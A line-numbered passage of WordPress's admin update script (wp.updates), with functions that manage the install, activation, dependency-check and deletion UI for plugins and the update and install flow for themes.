814 _x( '%s installed!', 'plugin' ),
815 response.pluginName
816 );
817
818 $message
819 .removeClass( 'updating-message' )
820 .addClass( 'updated-message installed button-disabled' )
821 .attr( 'aria-label', ariaLabel )
822 .text( buttonText );
823
824 wp.a11y.speak( __( 'Installation completed successfully.' ) );
825
826 $document.trigger( 'wp-plugin-install-success', response );
827
828 if ( response.activateUrl ) {
829 setTimeout( function() {
830 wp.updates.checkPluginDependencies( {
831 slug: response.slug
832 } );
833 }, 1000 );
834 }
835
836 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
837 wp.updates.setCardButtonStatus(
838 {
839 status: 'installed-plugin',
840 slug: response.slug,
841 removeClasses: 'updating-message',
842 addClasses: 'updated-message installed button-disabled',
843 text: buttonText,
844 ariaLabel: ariaLabel
845 }
846 );
847 }
848 };
849
850 /**
851 * Updates the UI appropriately after a failed plugin install.
852 *
853 * @since 4.6.0
854 *
855 * @param {Object} response Response from the server.
856 * @param {string} response.slug Slug of the plugin to be installed.
857 * @param {string=} response.pluginName Optional. Name of the plugin to be installed.
858 * @param {string} response.errorCode Error code for the error that occurred.
859 * @param {string} response.errorMessage The error that occurred.
860 */
861 wp.updates.installPluginError = function( response ) {
862 var $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ),
863 $button = $card.find( '.install-now' ),
864 buttonText = __( 'Installation failed.' ),
865 ariaLabel = sprintf(
866 /* translators: %s: Plugin name and version. */
867 _x( '%s installation failed', 'plugin' ),
868 $button.data( 'name' )
869 ),
870 errorMessage;
871
872 if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
873 return;
874 }
875
876 if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
877 return;
878 }
879
880 errorMessage = sprintf(
881 /* translators: %s: Error string for a failed installation. */
882 __( 'Installation failed: %s' ),
883 response.errorMessage
884 );
885
886 $card
887 .addClass( 'plugin-card-update-failed' )
888 .append( '<div class="notice notice-error notice-alt is-dismissible" role="alert"><p>' + errorMessage + '</p></div>' );
889
890 $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {
891
892 // Use same delay as the total duration of the notice fadeTo + slideUp animation.
893 setTimeout( function() {
894 $card
895 .removeClass( 'plugin-card-update-failed' )
896 .find( '.column-name a' ).trigger( 'focus' );
897 }, 200 );
898 } );
899
900 $button
901 .removeClass( 'updating-message' ).addClass( 'button-disabled' )
902 .attr( 'aria-label', ariaLabel )
903 .text( buttonText );
904
905 wp.a11y.speak( errorMessage, 'assertive' );
906
907 wp.updates.setCardButtonStatus(
908 {
909 status: 'plugin-install-failed',
910 slug: response.slug,
911 removeClasses: 'updating-message',
912 addClasses: 'button-disabled',
913 text: buttonText,
914 ariaLabel: ariaLabel
915 }
916 );
917
918 $document.trigger( 'wp-plugin-install-error', response );
919 };
920
921 /**
922 * Sends an Ajax request to the server to check a plugin's dependencies.
923 *
924 * @since 6.5.0
925 *
926 * @param {Object} args Arguments.
927 * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository.
928 * @param {checkPluginDependenciesSuccess=} args.success Optional. Success callback. Default: wp.updates.checkPluginDependenciesSuccess
929 * @param {checkPluginDependenciesError=} args.error Optional. Error callback. Default: wp.updates.checkPluginDependenciesError
930 * @return {$.promise} A jQuery promise that represents the request,
931 * decorated with an abort() method.
932 */
933 wp.updates.checkPluginDependencies = function( args ) {
934 args = _.extend( {
935 success: wp.updates.checkPluginDependenciesSuccess,
936 error: wp.updates.checkPluginDependenciesError
937 }, args );
938
939 wp.a11y.speak( __( 'Checking plugin dependencies... please wait.' ) );
940 $document.trigger( 'wp-checking-plugin-dependencies', args );
941
942 return wp.updates.ajax( 'check_plugin_dependencies', args );
943 };
944
945 /**
946 * Updates the UI appropriately after a successful plugin dependencies check.
947 *
948 * @since 6.5.0
949 *
950 * @param {Object} response Response from the server.
951 * @param {string} response.slug Slug of the checked plugin.
952 * @param {string} response.pluginName Name of the checked plugin.
953 * @param {string} response.plugin The plugin file, relative to the plugins directory.
954 * @param {string} response.activateUrl URL to activate the just checked plugin.
955 */
956 wp.updates.checkPluginDependenciesSuccess = function( response ) {
957 var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
958 buttonText, ariaLabel;
959
960 // Transform the 'Install' button into an 'Activate' button.
961 $message
962 .removeClass( 'install-now installed button-disabled updated-message' )
963 .addClass( 'activate-now button-primary' )
964 .attr( 'href', response.activateUrl );
965
966 wp.a11y.speak( __( 'Plugin dependencies check completed successfully.' ) );
967 $document.trigger( 'wp-check-plugin-dependencies-success', response );
968
969 if ( 'plugins-network' === pagenow || 'plugin-install-network' === pagenow ) {
970 buttonText = _x( 'Network Activate', 'plugin' );
971 ariaLabel = sprintf(
972 /* translators: %s: Plugin name. */
973 _x( 'Network Activate %s', 'plugin' ),
974 response.pluginName
975 );
976
977 $message
978 .attr( 'aria-label', ariaLabel )
979 .text( buttonText );
980 } else {
981 buttonText = _x( 'Activate', 'plugin' );
982 ariaLabel = sprintf(
983 /* translators: %s: Plugin name. */
984 _x( 'Activate %s', 'plugin' ),
985 response.pluginName
986 );
987
988 $message
989 .attr( 'aria-label', ariaLabel )
990 .attr( 'data-name', response.pluginName )
991 .attr( 'data-slug', response.slug )
992 .attr( 'data-plugin', response.plugin )
993 .text( buttonText );
994 }
995
996 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
997 wp.updates.setCardButtonStatus(
998 {
999 status: 'dependencies-check-success',
1000 slug: response.slug,
1001 removeClasses: 'install-now installed button-disabled updated-message',
1002 addClasses: 'activate-now button-primary',
1003 text: buttonText,
1004 ariaLabel: ariaLabel,
1005 pluginName: response.pluginName,
1006 plugin: response.plugin,
1007 href: response.activateUrl
1008 }
1009 );
1010 }
1011 };
1012
1013 /**
1014 * Updates the UI appropriately after a failed plugin dependencies check.
1015 *
1016 * @since 6.5.0
1017 *
1018 * @param {Object} response Response from the server.
1019 * @param {string} response.slug Slug of the plugin to be checked.
1020 * @param {string=} response.pluginName Optional. Name of the plugin to be checked.
1021 * @param {string} response.errorCode Error code for the error that occurred.
1022 * @param {string} response.errorMessage The error that occurred.
1023 */
1024 wp.updates.checkPluginDependenciesError = function( response ) {
1025 var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
1026 buttonText = _x( 'Activate', 'plugin' ),
1027 ariaLabel = sprintf(
1028 /* translators: 1: Plugin name, 2. The reason the plugin cannot be activated. */
1029 _x( 'Cannot activate %1$s. %2$s', 'plugin' ),
1030 response.pluginName,
1031 response.errorMessage
1032 ),
1033 errorMessage;
1034
1035 if ( ! wp.updates.isValidResponse( response, 'check-dependencies' ) ) {
1036 return;
1037 }
1038
1039 errorMessage = sprintf(
1040 /* translators: %s: Error string for a failed activation. */
1041 __( 'Activation failed: %s' ),
1042 response.errorMessage
1043 );
1044
1045 wp.a11y.speak( errorMessage, 'assertive' );
1046 $document.trigger( 'wp-check-plugin-dependencies-error', response );
1047
1048 $message
1049 .removeClass( 'install-now installed updated-message' )
1050 .addClass( 'activate-now button-primary' )
1051 .attr( 'aria-label', ariaLabel )
1052 .text( buttonText );
1053
1054 if ( 'plugin-information-footer' === $message.parent().attr('id' ) ) {
1055 wp.updates.setCardButtonStatus(
1056 {
1057 status: 'dependencies-check-failed',
1058 slug: response.slug,
1059 removeClasses: 'install-now installed updated-message',
1060 addClasses: 'activate-now button-primary',
1061 text: buttonText,
1062 ariaLabel: ariaLabel
1063 }
1064 );
1065 }
1066 };
1067
1068 /**
1069 * Sends an Ajax request to the server to activate a plugin.
1070 *
1071 * @since 6.5.0
1072 *
1073 * @param {Object} args Arguments.
1074 * @param {string} args.name The name of the plugin.
1075 * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository.
1076 * @param {string} args.plugin The plugin file, relative to the plugins directory.
1077 * @param {activatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.activatePluginSuccess
1078 * @param {activatePluginError=} args.error Optional. Error callback. Default: wp.updates.activatePluginError
1079 * @return {$.promise} A jQuery promise that represents the request,
1080 * decorated with an abort() method.
1081 */
1082 wp.updates.activatePlugin = function( args ) {
1083 var $message = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ).find( '.activate-now, .activating-message' );
1084
1085 args = _.extend( {
1086 success: wp.updates.activatePluginSuccess,
1087 error: wp.updates.activatePluginError
1088 }, args );
1089
1090 wp.a11y.speak( __( 'Activating... please wait.' ) );
1091 $document.trigger( 'wp-activating-plugin', args );
1092
1093 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
1094 wp.updates.setCardButtonStatus(
1095 {
1096 status: 'activating-plugin',
1097 slug: args.slug,
1098 removeClasses: 'installed updated-message button-primary',
1099 addClasses: 'activating-message',
1100 text: __( 'Activating...' ),
1101 ariaLabel: sprintf(
1102 /* translators: %s: Plugin name. */
1103 _x( 'Activating %s', 'plugin' ),
1104 args.name
1105 )
1106 }
1107 );
1108 }
1109
1110 return wp.updates.ajax( 'activate-plugin', args );
1111 };
1112
1113 /**
1114 * Updates the UI appropriately after a successful plugin activation.
1115 *
1116 * @since 6.5.0
1117 *
1118 * @param {Object} response Response from the server.
1119 * @param {string} response.slug Slug of the activated plugin.
1120 * @param {string} response.pluginName Name of the activated plugin.
1121 * @param {string} response.plugin The plugin file, relative to the plugins directory.
1122 */
1123 wp.updates.activatePluginSuccess = function( response ) {
1124 var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ),
1125 buttonText = _x( 'Activated!', 'plugin' ),
1126 ariaLabel = sprintf(
1127 /* translators: %s: The plugin name. */
1128 '%s activated successfully.',
1129 response.pluginName
1130 );
1131
1132 wp.a11y.speak( __( 'Activation completed successfully.' ) );
1133 $document.trigger( 'wp-plugin-activate-success', response );
1134
1135 $message
1136 .removeClass( 'activating-message' )
1137 .addClass( 'activated-message button-disabled' )
1138 .attr( 'aria-label', ariaLabel )
1139 .text( buttonText );
1140
1141 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
1142 wp.updates.setCardButtonStatus(
1143 {
1144 status: 'activated-plugin',
1145 slug: response.slug,
1146 removeClasses: 'activating-message',
1147 addClasses: 'activated-message button-disabled',
1148 text: buttonText,
1149 ariaLabel: ariaLabel
1150 }
1151 );
1152 }
1153
1154 setTimeout( function() {
1155 $message.removeClass( 'activated-message' )
1156 .text( _x( 'Active', 'plugin' ) );
1157
1158 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
1159 wp.updates.setCardButtonStatus(
1160 {
1161 status: 'plugin-active',
1162 slug: response.slug,
1163 removeClasses: 'activated-message',
1164 text: _x( 'Active', 'plugin' ),
1165 ariaLabel: sprintf(
1166 /* translators: %s: The plugin name. */
1167 '%s is active.',
1168 response.pluginName
1169 )
1170 }
1171 );
1172 }
1173 }, 1000 );
1174 };
1175
1176 /**
1177 * Updates the UI appropriately after a failed plugin activation.
1178 *
1179 * @since 6.5.0
1180 *
1181 * @param {Object} response Response from the server.
1182 * @param {string} response.slug Slug of the plugin to be activated.
1183 * @param {string=} response.pluginName Optional. Name of the plugin to be activated.
1184 * @param {string} response.errorCode Error code for the error that occurred.
1185 * @param {string} response.errorMessage The error that occurred.
1186 */
1187 wp.updates.activatePluginError = function( response ) {
1188 var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ),
1189 buttonText = __( 'Activation failed.' ),
1190 ariaLabel = sprintf(
1191 /* translators: %s: Plugin name. */
1192 _x( '%s activation failed', 'plugin' ),
1193 response.pluginName
1194 ),
1195 errorMessage;
1196
1197 if ( ! wp.updates.isValidResponse( response, 'activate' ) ) {
1198 return;
1199 }
1200
1201 errorMessage = sprintf(
1202 /* translators: %s: Error string for a failed activation. */
1203 __( 'Activation failed: %s' ),
1204 response.errorMessage
1205 );
1206
1207 wp.a11y.speak( errorMessage, 'assertive' );
1208 $document.trigger( 'wp-plugin-activate-error', response );
1209
1210 $message
1211 .removeClass( 'install-now installed activating-message' )
1212 .addClass( 'button-disabled' )
1213 .attr( 'aria-label', ariaLabel )
1214 .text( buttonText );
1215
1216 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
1217 wp.updates.setCardButtonStatus(
1218 {
1219 status: 'plugin-activation-failed',
1220 slug: response.slug,
1221 removeClasses: 'install-now installed activating-message',
1222 addClasses: 'button-disabled',
1223 text: buttonText,
1224 ariaLabel: ariaLabel
1225 }
1226 );
1227 }
1228 };
1229
1230 /**
1231 * Updates the UI appropriately after a successful importer install.
1232 *
1233 * @since 4.6.0
1234 *
1235 * @param {Object} response Response from the server.
1236 * @param {string} response.slug Slug of the installed plugin.
1237 * @param {string} response.pluginName Name of the installed plugin.
1238 * @param {string} response.activateUrl URL to activate the just installed plugin.
1239 */
1240 wp.updates.installImporterSuccess = function( response ) {
1241 wp.updates.addAdminNotice( {
1242 id: 'install-success',
1243 className: 'notice-success is-dismissible',
1244 message: sprintf(
1245 /* translators: %s: Activation URL. */
1246 __( 'Importer installed successfully. <a href="%s">Run importer</a>' ),
1247 response.activateUrl + '&from=import'
1248 )
1249 } );
1250
1251 $( '[data-slug="' + response.slug + '"]' )
1252 .removeClass( 'install-now updating-message' )
1253 .addClass( 'activate-now' )
1254 .attr({
1255 'href': response.activateUrl + '&from=import',
1256 'aria-label':sprintf(
1257 /* translators: %s: Importer name. */
1258 __( 'Run %s' ),
1259 response.pluginName
1260 )
1261 })
1262 .text( __( 'Run Importer' ) );
1263
1264 wp.a11y.speak( __( 'Installation completed successfully.' ) );
1265
1266 $document.trigger( 'wp-importer-install-success', response );
1267 };
1268
1269 /**
1270 * Updates the UI appropriately after a failed importer install.
1271 *
1272 * @since 4.6.0
1273 *
1274 * @param {Object} response Response from the server.
1275 * @param {string} response.slug Slug of the plugin to be installed.
1276 * @param {string=} response.pluginName Optional. Name of the plugin to be installed.
1277 * @param {string} response.errorCode Error code for the error that occurred.
1278 * @param {string} response.errorMessage The error that occurred.
1279 */
1280 wp.updates.installImporterError = function( response ) {
1281 var errorMessage = sprintf(
1282 /* translators: %s: Error string for a failed installation. */
1283 __( 'Installation failed: %s' ),
1284 response.errorMessage
1285 ),
1286 $installLink = $( '[data-slug="' + response.slug + '"]' ),
1287 pluginName = $installLink.data( 'name' );
1288
1289 if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
1290 return;
1291 }
1292
1293 if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
1294 return;
1295 }
1296
1297 wp.updates.addAdminNotice( {
1298 id: response.errorCode,
1299 className: 'notice-error is-dismissible',
1300 message: errorMessage
1301 } );
1302
1303 $installLink
1304 .removeClass( 'updating-message' )
1305 .attr(
1306 'aria-label',
1307 sprintf(
1308 /* translators: %s: Plugin name. */
1309 _x( 'Install %s now', 'plugin' ),
1310 pluginName
1311 )
1312 )
1313 .text( _x( 'Install Now', 'plugin' ) );
1314
1315 wp.a11y.speak( errorMessage, 'assertive' );
1316
1317 $document.trigger( 'wp-importer-install-error', response );
1318 };
1319
1320 /**
1321 * Sends an Ajax request to the server to delete a plugin.
1322 *
1323 * @since 4.6.0
1324 *
1325 * @param {Object} args Arguments.
1326 * @param {string} args.plugin Basename of the plugin to be deleted.
1327 * @param {string} args.slug Slug of the plugin to be deleted.
1328 * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess
1329 * @param {deletePluginError=} args.error Optional. Error callback. Default: wp.updates.deletePluginError
1330 * @return {$.promise} A jQuery promise that represents the request,
1331 * decorated with an abort() method.
1332 */
1333 wp.updates.deletePlugin = function( args ) {
1334 var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' );
1335
1336 args = _.extend( {
1337 success: wp.updates.deletePluginSuccess,
1338 error: wp.updates.deletePluginError
1339 }, args );
1340
1341 if ( $link.html() !== __( 'Deleting...' ) ) {
1342 $link
1343 .data( 'originaltext', $link.html() )
1344 .text( __( 'Deleting...' ) );
1345 }
1346
1347 wp.a11y.speak( __( 'Deleting...' ) );
1348
1349 $document.trigger( 'wp-plugin-deleting', args );
1350
1351 return wp.updates.ajax( 'delete-plugin', args );
1352 };
1353
1354 /**
1355 * Updates the UI appropriately after a successful plugin deletion.
1356 *
1357 * @since 4.6.0
1358 *
1359 * @param {Object} response Response from the server.
1360 * @param {string} response.slug Slug of the plugin that was deleted.
1361 * @param {string} response.plugin Base name of the plugin that was deleted.
1362 * @param {string} response.pluginName Name of the plugin that was deleted.
1363 */
1364 wp.updates.deletePluginSuccess = function( response ) {
1365
1366 // Removes the plugin and updates rows.
1367 $( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
1368 var $form = $( '#bulk-action-form' ),
1369 $views = $( '.subsubsub' ),
1370 $pluginRow = $( this ),
1371 $currentView = $views.find( '[aria-current="page"]' ),
1372 $itemsCount = $( '.displaying-num' ),
1373 columnCount = $form.find( 'thead th:not(.hidden), thead td' ).length,
1374 pluginDeletedRow = wp.template( 'item-deleted-row' ),
1375 /**
1376 * Plugins Base names of plugins in their different states.
1377 *
1378 * @type {Object}
1379 */
1380 plugins = settings.plugins,
1381 remainingCount;
1382
1383 // Add a success message after deleting a plugin.
1384 if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) {
1385 $pluginRow.after(
1386 pluginDeletedRow( {
1387 slug: response.slug,
1388 plugin: response.plugin,
1389 colspan: columnCount,
1390 name: response.pluginName
1391 } )
1392 );
1393 }
1394
1395 $pluginRow.remove();
1396
1397 // Remove plugin from update count.
1398 if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) {
1399 plugins.upgrade = _.without( plugins.upgrade, response.plugin );
1400 wp.updates.decrementCount( 'plugin' );
1401 }
1402
1403 // Remove from views.
1404 if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) {
1405 plugins.inactive = _.without( plugins.inactive, response.plugin );
1406 if ( plugins.inactive.length ) {
1407 $views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' );
1408 } else {
1409 $views.find( '.inactive' ).remove();
1410 }
1411 }
1412
1413 if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) {
1414 plugins.active = _.without( plugins.active, response.plugin );
1415 if ( plugins.active.length ) {
1416 $views.find( '.active .count' ).text( '(' + plugins.active.length + ')' );
1417 } else {
1418 $views.find( '.active' ).remove();
1419 }
1420 }
1421
1422 if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) {
1423 plugins.recently_activated = _.without( plugins.recently_activated, response.plugin );
1424 if ( plugins.recently_activated.length ) {
1425 $views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' );
1426 } else {
1427 $views.find( '.recently_activated' ).remove();
1428 }
1429 }
1430
1431 if ( -1 !== _.indexOf( plugins['auto-update-enabled'], response.plugin ) ) {
1432 plugins['auto-update-enabled'] = _.without( plugins['auto-update-enabled'], response.plugin );
1433 if ( plugins['auto-update-enabled'].length ) {
1434 $views.find( '.auto-update-enabled .count' ).text( '(' + plugins['auto-update-enabled'].length + ')' );
1435 } else {
1436 $views.find( '.auto-update-enabled' ).remove();
1437 }
1438 }
1439
1440 if ( -1 !== _.indexOf( plugins['auto-update-disabled'], response.plugin ) ) {
1441 plugins['auto-update-disabled'] = _.without( plugins['auto-update-disabled'], response.plugin );
1442 if ( plugins['auto-update-disabled'].length ) {
1443 $views.find( '.auto-update-disabled .count' ).text( '(' + plugins['auto-update-disabled'].length + ')' );
1444 } else {
1445 $views.find( '.auto-update-disabled' ).remove();
1446 }
1447 }
1448
1449 plugins.all = _.without( plugins.all, response.plugin );
1450
1451 if ( plugins.all.length ) {
1452 $views.find( '.all .count' ).text( '(' + plugins.all.length + ')' );
1453 } else {
1454 $form.find( '.tablenav' ).css( { visibility: 'hidden' } );
1455 $views.find( '.all' ).remove();
1456
1457 if ( ! $form.find( 'tr.no-items' ).length ) {
1458 $form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + __( 'No plugins are currently available.' ) + '</td></tr>' );
1459 }
1460 }
1461
1462 if ( $itemsCount.length && $currentView.length ) {
1463 remainingCount = plugins[ $currentView.parent( 'li' ).attr('class') ].length;
1464 $itemsCount.text(
1465 sprintf(
1466 /* translators: %s: The remaining number of plugins. */
1467 _nx( '%s item', '%s items', remainingCount, 'plugin/plugins' ),
1468 remainingCount
1469 )
1470 );
1471 }
1472 } );
1473
1474 wp.a11y.speak( _x( 'Deleted!', 'plugin' ) );
1475
1476 $document.trigger( 'wp-plugin-delete-success', response );
1477 };
1478
1479 /**
1480 * Updates the UI appropriately after a failed plugin deletion.
1481 *
1482 * @since 4.6.0
1483 *
1484 * @param {Object} response Response from the server.
1485 * @param {string} response.slug Slug of the plugin to be deleted.
1486 * @param {string} response.plugin Base name of the plugin to be deleted
1487 * @param {string=} response.pluginName Optional. Name of the plugin to be deleted.
1488 * @param {string} response.errorCode Error code for the error that occurred.
1489 * @param {string} response.errorMessage The error that occurred.
1490 */
1491 wp.updates.deletePluginError = function( response ) {
1492 var $plugin, $pluginUpdateRow,
1493 pluginUpdateRow = wp.template( 'item-update-row' ),
1494 noticeContent = wp.updates.adminNotice( {
1495 className: 'update-message notice-error notice-alt',
1496 message: response.errorMessage
1497 } );
1498
1499 if ( response.plugin ) {
1500 $plugin = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' );
1501 $pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' );
1502 } else {
1503 $plugin = $( 'tr.inactive[data-slug="' + response.slug + '"]' );
1504 $pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' );
1505 }
1506
1507 if ( ! wp.updates.isValidResponse( response, 'delete' ) ) {
1508 return;
1509 }
1510
1511 if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) {
1512 return;
1513 }
1514
1515 // Add a plugin update row if it doesn't exist yet.
1516 if ( ! $pluginUpdateRow.length ) {
1517 $plugin.addClass( 'update' ).after(
1518 pluginUpdateRow( {
1519 slug: response.slug,
1520 plugin: response.plugin || response.slug,
1521 colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
1522 content: noticeContent
1523 } )
1524 );
1525 } else {
1526
1527 // Remove previous error messages, if any.
1528 $pluginUpdateRow.find( '.notice-error' ).remove();
1529
1530 $pluginUpdateRow.find( '.plugin-update' ).append( noticeContent );
1531 }
1532
1533 $document.trigger( 'wp-plugin-delete-error', response );
1534 };
1535
1536 /**
1537 * Sends an Ajax request to the server to update a theme.
1538 *
1539 * @since 4.6.0
1540 *
1541 * @param {Object} args Arguments.
1542 * @param {string} args.slug Theme stylesheet.
1543 * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess
1544 * @param {updateThemeError=} args.error Optional. Error callback. Default: wp.updates.updateThemeError
1545 * @return {$.promise} A jQuery promise that represents the request,
1546 * decorated with an abort() method.
1547 */
1548 wp.updates.updateTheme = function( args ) {
1549 var $notice;
1550
1551 args = _.extend( {
1552 success: wp.updates.updateThemeSuccess,
1553 error: wp.updates.updateThemeError
1554 }, args );
1555
1556 if ( 'themes-network' === pagenow ) {
1557 $notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
1558
1559 } else if ( 'customize' === pagenow ) {
1560
1561 // Update the theme details UI.
1562 $notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' );
1563
1564 $notice.find( 'h3' ).remove();
1565
1566 // Add the top-level UI, and update both.
1567 $notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) );
1568 $notice = $notice.addClass( 'updating-message' ).find( 'p' );
1569
1570 } else {
1571 $notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' );
1572
1573 $notice.find( 'h3' ).remove();
1574
1575 $notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) );
1576 $notice = $notice.addClass( 'updating-message' ).find( 'p' );
1577 }
1578
1579 if ( $notice.html() !== __( 'Updating...' ) ) {
1580 $notice.data( 'originaltext', $notice.html() );
1581 }
1582
1583 wp.a11y.speak( __( 'Updating... please wait.' ) );
1584 $notice.text( __( 'Updating...' ) );
1585
1586 $document.trigger( 'wp-theme-updating', args );
1587
1588 return wp.updates.ajax( 'update-theme', args );
1589 };
1590
1591 /**
1592 * Updates the UI appropriately after a successful theme update.
1593 *
1594 * @since 4.6.0
1595 * @since 5.5.0 Auto-update "time to next update" text cleared.
1596 *
1597 * @param {Object} response
1598 * @param {string} response.slug Slug of the theme to be updated.
1599 * @param {Object} response.theme Updated theme.
1600 * @param {string} response.oldVersion Old version of the theme.
1601 * @param {string} response.newVersion New version of the theme.
1602 */
1603 wp.updates.updateThemeSuccess = function( response ) {
1604 var isModalOpen = $( 'body.modal-open' ).length,
1605 $theme = $( '[data-slug="' + response.slug + '"]' ),
1606 updatedMessage = {
1607 className: 'updated-message notice-success notice-alt',
1608 message: _x( 'Updated!', 'theme' )
1609 },
1610 $notice, newText;
1611
1612 if ( 'customize' === pagenow ) {
1613 $theme = $( '.updating-message' ).siblings( '.theme-name' );
1614
1615 if ( $theme.length ) {
1616
1617 // Update the version number in the row.
1618 newText = $theme.html().replace( response.oldVersion, response.newVersion );
1619 $theme.html( newText );
1620 }
1621
1622 $notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) );
1623 } else if ( 'themes-network' === pagenow ) {
1624 $notice = $theme.find( '.update-message' );
1625
1626 // Update the version number in the row.
1627 newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
1628 $theme.find( '.theme-version-author-uri' ).html( newText );
1629
1630 // Clear the "time to next auto-update" text.
1631 $theme.find( '.auto-update-time' ).empty();
1632 } else {
1633 $notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) );
1634
1635 // Focus on Customize button after updating.
1636 if ( isModalOpen ) {
1637 $( '.load-customize:visible' ).trigger( 'focus' );
1638 $( '.theme-info .theme-autoupdate' ).find( '.auto-update-time' ).empty();
1639 } else {
1640 $theme.find( '.load-customize' ).trigger( 'focus' );
1641 }
1642 }
1643
1644 wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) );
1645 wp.a11y.speak( __( 'Update completed successfully.' ) );
1646
1647 wp.updates.decrementCount( 'theme' );
1648
1649 $document.trigger( 'wp-theme-update-success', response );
1650
1651 // Show updated message after modal re-rendered.
1652 if ( isModalOpen && 'customize' !== pagenow ) {
1653 $( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) );
1654 }
1655 };
1656
1657 /**
1658 * Updates the UI appropriately after a failed theme update.
1659 *
1660 * @since 4.6.0
1661 *
1662 * @param {Object} response Response from the server.
1663 * @param {string} response.slug Slug of the theme to be updated.
1664 * @param {string} response.errorCode Error code for the error that occurred.
1665 * @param {string} response.errorMessage The error that occurred.
1666 */
1667 wp.updates.updateThemeError = function( response ) {
1668 var $theme = $( '[data-slug="' + response.slug + '"]' ),
1669 errorMessage = sprintf(
1670 /* translators: %s: Error string for a failed update. */
1671 __( 'Update failed: %s' ),
1672 response.errorMessage
1673 ),
1674 $notice;
1675
1676 if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
1677 return;
1678 }
1679
1680 if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) {
1681 return;
1682 }
1683
1684 if ( 'customize' === pagenow ) {
1685 $theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' );
1686 }
1687
1688 if ( 'themes-network' === pagenow ) {
1689 $notice = $theme.find( '.update-message ' );
1690 } else {
1691 $notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) );
1692
1693 $( 'body.modal-open' ).length ? $( '.load-customize:visible' ).trigger( 'focus' ) : $theme.find( '.load-customize' ).trigger( 'focus');
1694 }
1695
1696 wp.updates.addAdminNotice( {
1697 selector: $notice,
1698 className: 'update-message notice-error notice-alt is-dismissible',
1699 message: errorMessage
1700 } );
1701
1702 wp.a11y.speak( errorMessage );
1703
1704 $document.trigger( 'wp-theme-update-error', response );
1705 };
1706
1707 /**
1708 * Sends an Ajax request to the server to install a theme.
1709 *
1710 * @since 4.6.0
1711 *
1712 * @param {Object} args
1713 * @param {string} args.slug Theme stylesheet.
1714 * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess
1715 * @param {installThemeError=} args.error Optional. Error callback. Default: wp.updates.installThemeError
1716 * @return {$.promise} A jQuery promise that represents the request,
1717 * decorated with an abort() method.
1718 */
1719 wp.updates.installTheme = function( args ) {
1720 var $message = $( '.theme-install[data-slug="' + args.slug + '"]' );
1721
1722 args = _.extend( {
1723 success: wp.updates.installThemeSuccess,
1724 error: wp.updates.installThemeError
1725 }, args );
1726
1727 $message.addClass( 'updating-message' );
1728 $message.parents( '.theme' ).addClass( 'focus' );
1729 if ( $message.html() !== __( 'Installing...' ) ) {
1730 $message.data( 'originaltext', $message.html() );
1731 }
1732
1733 $message
1734 .attr(
1735 'aria-label',
1736 sprintf(
1737 /* translators: %s: Theme name and version. */
1738 _x( 'Installing %s...', 'theme' ),
1739 $message.data( 'name' )
1740 )
1741 )
1742 .text( __( 'Installing...' ) );
1743
1744 wp.a11y.speak( __( 'Installing... please wait.' ) );
1745
1746 // Remove previous error messages, if any.
1747 $( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove();
1748
